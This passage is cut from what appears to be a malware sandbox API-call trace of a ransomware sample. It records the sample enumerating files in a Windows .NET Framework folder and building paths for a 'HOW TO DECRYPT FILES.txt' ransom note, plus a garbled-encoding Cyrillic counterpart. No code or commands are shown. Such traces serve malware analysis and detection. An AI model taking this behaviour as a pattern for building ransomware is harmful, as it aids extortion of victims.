dwReserved1=0x0, cFileName="Microsoft.CSharp.targets", cAlternateFileName="")) returned 1 [0135.668] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0135.668] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.CSharp.targets") returned -1 [0135.668] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.CSharp.targets") returned -1 [0135.668] lstrcmpiA (lpString1="", lpString2="Microsoft.CSharp.targets") returned -1 [0135.668] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Microsoft.Common.Tasks") returned="Microsoft.Common.Tasks" [0135.668] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0135.668] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0135.668] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" [0135.668] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\how to decrypt files.txt")) returned 0x20 [0135.668] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="Microsoft.CSharp.targets" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Microsoft.CSharp.targets") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Microsoft.CSharp.targets" [0135.669] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfaed1f5b, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0xfaed1f5b, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0xa34f26bc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0xb7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.JScript.dll", cAlternateFileName="")) returned 1 [0135.669] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0135.669] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.JScript.dll") returned -1 [0135.669] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.JScript.dll") returned -1 [0135.669] lstrcmpiA (lpString1="", lpString2="Microsoft.JScript.dll") returned -1 [0135.669] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Microsoft.CSharp.targets") returned="Microsoft.CSharp.targets" [0135.669] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0135.669] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0135.669] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" [0135.669] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\how to decrypt files.txt")) returned 0x20 [0135.669] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="Microsoft.JScript.dll" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Microsoft.JScript.dll") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Microsoft.JScript.dll" [0135.670] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb04ed11, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0xfb04ed11, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0xa36955dc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0xd000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.JScript.tlb", cAlternateFileName="")) returned 1 [0135.670] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0135.670] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.JScript.tlb") returned -1 [0135.670] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.JScript.tlb") returned -1 [0135.670] lstrcmpiA (lpString1="", lpString2="Microsoft.JScript.tlb") returned -1 [0135.670] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Microsoft.JScript.dll") returned="Microsoft.JScript.dll" [0135.670] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0135.670] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0135.670] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" [0135.670] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\how to decrypt files.txt")) returned 0x20 [0135.671] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="Microsoft.JScript.tlb" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Microsoft.JScript.tlb") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Microsoft.JScript.tlb" [0135.671] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb17f809, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0xfb17f809, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0xa391cd3c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x1b000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualBasic.Compatibility.Data.dll", cAlternateFileName="")) returned 1 [0135.671] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0135.671] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.VisualBasic.Compatibility.Data.dll") returned -1 [0135.671] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.VisualBasic.Compatibility.Data.dll") returned -1 [0135.671] lstrcmpiA (lpString1="", lpString2="Microsoft.VisualBasic.Compatibility.Data.dll") returned -1 [0135.671] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Microsoft.JScript.tlb") returned="Microsoft.JScript.tlb" [0135.671] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0135.671] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0135.671] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" [0135.671] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\how to decrypt files.txt")) returned 0x20 [0135.672] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="Microsoft.VisualBasic.Compatibility.Data.dll" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Microsoft.VisualBasic.Compatibility.Data.dll") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Microsoft.VisualBasic.Compatibility.Data.dll" [0135.672] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ac204a0, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ac204a0, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ac204a0, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5b000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualBasic.Compatibility.dll", cAlternateFileName="")) returned 1 [0135.672] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0135.672] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.VisualBasic.Compatibility.dll") returned -1 [0135.672] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.VisualBasic.Compatibility.dll") returned -1 [0135.672] lstrcmpiA (lpString1="", lpString2="Microsoft.VisualBasic.Compatibility.dll") returned -1 [0135.672] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Microsoft.VisualBasic.Compatibility.Data.dll") returned="Microsoft.VisualBasic.Compatibility.Data.dll" [0135.672] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0135.672] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0135.672] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" [0135.672] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\how to decrypt files.txt")) returned 0x20 [0135.673] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="Microsoft.VisualBasic.Compatibility.dll" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Microsoft.VisualBasic.Compatibility.dll") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Microsoft.VisualBasic.Compatibility.dll" [0135.673] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97baa43e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x97baa43e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x97bf66ff, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x95000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualBasic.dll", cAlternateFileName="")) returned 1 [0135.673] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0135.673] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.VisualBasic.dll") returned -1 [0135.673] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.VisualBasic.dll") returned -1 [0135.673] lstrcmpiA (lpString1="", lpString2="Microsoft.VisualBasic.dll") returned -1 [0135.673] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Microsoft.VisualBasic.Compatibility.dll") returned="Microsoft.VisualBasic.Compatibility.dll" [0135.673] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0135.673] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0135.673] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" [0135.674] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\how to decrypt files.txt")) returned 0x20 [0135.674] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="Microsoft.VisualBasic.dll" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Microsoft.VisualBasic.dll") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Microsoft.VisualBasic.dll" [0135.674] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb7bf19f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0xfb7bf19f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0xa3d2125c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x272f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualBasic.targets", cAlternateFileName="")) returned 1 [0135.674] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0135.674] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.VisualBasic.targets") returned -1 [0135.674] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.VisualBasic.targets") returned -1 [0135.674] lstrcmpiA (lpString1="", lpString2="Microsoft.VisualBasic.targets") returned -1 [0135.674] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Microsoft.VisualBasic.dll") returned="Microsoft.VisualBasic.dll" [0135.674] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0135.674] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0135.674] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" [0135.675] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\how to decrypt files.txt")) returned 0x20 [0135.675] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="Microsoft.VisualBasic.targets" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Microsoft.VisualBasic.targets") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Microsoft.VisualBasic.targets" [0135.675] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb80b45d, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0xfb80b45d, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0xa3ddf93c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualBasic.Vsa.dll", cAlternateFileName="")) returned 1 [0135.675] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0135.675] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.VisualBasic.Vsa.dll") returned -1 [0135.675] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.VisualBasic.Vsa.dll") returned -1 [0135.675] lstrcmpiA (lpString1="", lpString2="Microsoft.VisualBasic.Vsa.dll") returned -1 [0135.676] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Microsoft.VisualBasic.targets") returned="Microsoft.VisualBasic.targets" [0135.676] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0135.676] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0135.676] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" [0135.676] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\how to decrypt files.txt")) returned 0x20 [0135.676] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="Microsoft.VisualBasic.Vsa.dll" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Microsoft.VisualBasic.Vsa.dll") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Microsoft.VisualBasic.Vsa.dll" [0135.677] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb87d87a, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0xfb87d87a, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0xa3e9e01c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualC.Dll", cAlternateFileName="")) returned 1 [0135.677] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0135.677] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.VisualC.Dll") returned -1 [0135.677] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.VisualC.Dll") returned -1 [0135.677] lstrcmpiA (lpString1="", lpString2="Microsoft.VisualC.Dll") returned -1 [0135.677] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Microsoft.VisualBasic.Vsa.dll") returned="Microsoft.VisualBasic.Vsa.dll" [0135.677] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0135.677] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0135.677] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" [0135.677] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\how to decrypt files.txt")) returned 0x20 [0135.677] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="Microsoft.VisualC.Dll" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Microsoft.VisualC.Dll") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Microsoft.VisualC.Dll" [0135.678] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb915df6, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0xfb915df6, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0xa40d94bc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Vsa.dll", cAlternateFileName="")) returned 1 [0135.678] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0135.678] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Vsa.dll") returned -1 [0135.678] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Vsa.dll") returned -1 [0135.678] lstrcmpiA (lpString1="", lpString2="Microsoft.Vsa.dll") returned -1 [0135.678] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Microsoft.VisualC.Dll") returned="Microsoft.VisualC.Dll" [0135.678] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0135.678] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0135.678] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" [0135.678] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\how to decrypt files.txt")) returned 0x20 [0135.678] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="Microsoft.Vsa.dll" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Microsoft.Vsa.dll") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Microsoft.Vsa.dll" [0135.679] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb9620b4, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0xfb9620b4, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0xa412577c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x5a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Vsa.tlb", cAlternateFileName="")) returned 1 [0135.679] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0135.679] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ 